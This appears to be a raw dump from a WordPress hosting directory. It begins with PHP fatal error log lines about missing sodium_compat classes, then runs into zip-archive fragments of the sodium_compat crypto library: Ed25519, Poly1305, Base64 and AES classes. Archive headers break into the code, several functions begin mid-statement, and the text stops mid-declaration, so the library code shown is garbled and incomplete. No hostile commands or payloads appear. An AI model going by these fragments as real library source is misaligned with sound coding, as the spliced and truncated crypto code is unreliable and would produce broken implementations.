/home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 [10-Sep-2026 14:50:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10 [10-Sep-2026 14:50:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10 PK!z2H2Hsrc/Core/Ed25519.phpnu[Y, $p1->Z); return self::fe_isnonzero($p1->X) && self::fe_isnonzero($t); } /** * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function pk_to_curve25519($pk) { if (self::small_order($pk)) { throw new SodiumException('Public key is on a small order'); } $A = self::ge_frombytes_negate_vartime(self::substr($pk, 0, 32)); if (!self::is_on_main_subgroup($A)) { throw new SodiumException('Public key is not on a member of the main subgroup'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { if (self::strlen($sk) !== 64) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long'); } # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); hash_update($hs, self::substr($az, 32, 32)); hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); hash_update($hs, self::substr($sig, 0, 32)); hash_update($hs, self::substr($pk, 0, 32)); hash_update($hs, $message); $hramHash = hash_final($hs, true); # sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) !== 64) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long'); } if (self::strlen($pk) !== 32) { throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S >= L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); if (!self::is_on_main_subgroup($A)) { throw new SodiumException('Public key is not on a member of the main subgroup'); } /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); $c = 0; $n = 1; $i = 32; /** @var array $L */ do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { /** @var array> $blocklist */ $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var int $countBlocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_complement($s) { $t_ = self::L . str_repeat("\x00", 32); sodium_increment($t_); $s_ = $s . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @return string * @throws SodiumException */ public static function scalar_random() { do { $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES); $r[self::SCALAR_BYTES - 1] = self::intToChr( self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f ); } while ( !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r) ); return $r; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_negate($s) { $t_ = self::L . str_repeat("\x00", 32) ; $s_ = $s . str_repeat("\x00", 32) ; ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function scalar_add($a, $b) { $a_ = $a . str_repeat("\x00", 32); $b_ = $b . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::add($a_, $b_); return self::sc_reduce($a_); } /** * @param string $x * @param string $y * @return string * @throws SodiumException */ public static function scalar_sub($x, $y) { $yn = self::scalar_negate($y); return self::scalar_add($x, $yn); } } PK!'c((src/Core/Poly1305.phpnu[update($m) ->finish(); } /** * @internal You should not use this directly from another application * * @param string $mac * @param string $m * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function onetimeauth_verify($mac, $m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( self::substr($key, 0, 32) ); $calc = $state ->update($m) ->finish(); return self::verify_16($calc, $mac); } } PK!!!src/Core/Base64/Original.phpnu[ $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } /** * @param string $encodedString * @return string */ public static function decodeNoPadding( #[SensitiveParameter] $encodedString ) { $srcLen = strlen($encodedString); if ($srcLen === 0) { return ''; } if (($srcLen & 3) === 0) { // If $strLen is not zero, and it is divisible by 4, then it's at least 4. if ($encodedString[$srcLen - 1] === '=' || $encodedString[$srcLen - 2] === '=') { throw new InvalidArgumentException( "decodeNoPadding() doesn't tolerate padding" ); } } return self::decode( $encodedString, true ); } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2b) $ret += 62 + 1; $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63; // if ($src == 0x2f) ret += 63 + 1; $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15 $diff -= ((61 - $src) >> 8) & 15; // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 3; return pack('C', $src + $diff); } } PK!3%#!#!src/Core/Base64/UrlSafe.phpnu[ $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } /** * @param string $encodedString * @return string */ public static function decodeNoPadding( #[SensitiveParameter] $encodedString ) { $srcLen = strlen($encodedString); if ($srcLen === 0) { return ''; } if (($srcLen & 3) === 0) { // If $strLen is not zero, and it is divisible by 4, then it's at least 4. if ($encodedString[$srcLen - 1] === '=' || $encodedString[$srcLen - 2] === '=') { throw new InvalidArgumentException( "decodeNoPadding() doesn't tolerate padding" ); } } return self::decode( $encodedString, true ); } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2c) $ret += 62 + 1; $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63; // if ($src == 0x5f) ret += 63 + 1; $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13 $diff -= ((61 - $src) >> 8) & 13; // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 49; return pack('C', $src + $diff); } } PK!8ĤYYsrc/Core/AES/KeySchedule.phpnu[ $skey -- has size 120 */ protected $skey; /** @var bool $expanded */ protected $expanded = false; /** @var int $numRounds */ private $numRounds; /** * @param array $skey * @param int $numRounds */ public function __construct(array $skey, $numRounds = 10) { $this->skey = $skey; $this->numRounds = $numRounds; } /** * Get a value at an arbitrary index. Mostly used for unit testing. * * @param int $i * @return int */ public function get($i) { return $this->skey[$i]; } /** * @return int */ public function getNumRounds() { return $this->numRounds; } /** * @param int $offset * @return ParagonIE_Sodium_Core_AES_Block */ public function getRoundKey($offset) { return ParagonIE_Sodium_Core_AES_Block::fromArray( array_slice($this->skey, $offset, 8) ); } /** * Return an expanded key schedule * * @return ParagonIE_Sodium_Core_AES_Expanded */ public function expand() { $exp = new ParagonIE_Sodium_Core_AES_Expanded( array_fill(0, 120, 0), $this->numRounds ); $n = ($exp->numRounds + 1) << 2; for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) { $x = $y = $this->skey[$u]; $x &= 0x55555555; $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; $y &= 0xAAAAAAAA; $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $exp; } } PK!rS((src/Core/AES/Block.phpnu[ */ protected $values = array(); /** * @var int */ protected $size; /** * @param int $size */ public function __construct($size = 8) { parent::__construct($size); $this->size = $size; $this->values = array_fill(0, $size, 0); } /** * @return self */ public static function init() { return new self(8); } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * * @psalm-suppress MethodSignatureMismatch */ #[ReturnTypeWillChange] public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); /** @var array $keys */ $obj = new ParagonIE_Sodium_Core_AES_Block(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } if (is_null($offset)) { $this->values[] = $value; } else { $this->values[$offset] = $value; } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return int * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->values[$offset])) { $this->values[$offset] = 0; } return (int) ($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { $out = array(); foreach ($this->values as $v) { $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT); } return array(implode(', ', $out)); /* return array(implode(', ', $this->values)); */ } /** * @param int $cl low bit mask * @param int $ch high bit mask * @param int $s shift * @param int $x index 1 * @param int $y index 2 * @return self */ public function swapN($cl, $ch, $s, $x, $y) { static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX; $a = $this->values[$x] & $u32mask; $b = $this->values[$y] & $u32mask; // (x) = (a & cl) | ((b & cl) << (s)); $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask); // (y) = ((a & ch) >> (s)) | (b & ch); $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch); return $this; } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap2($x, $y) { return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap4($x, $y) { return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap8($x, $y) { return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y); } /** * @return self */ public function orthogonalize() { return $this ->swap2(0, 1) ->swap2(2, 3) ->swap2(4, 5) ->swap2(6, 7) ->swap4(0, 2) ->swap4(1, 3) ->swap4(4, 6) ->swap4(5, 7) ->swap8(0, 4) ->swap8(1, 5) ->swap8(2, 6) ->swap8(3, 7); } /** * @return self */ public function shiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[$i] = ( ($x & 0x000000FF) | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6) | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4) | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2) ) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $this; } /** * @param int $x * @return int */ public static function 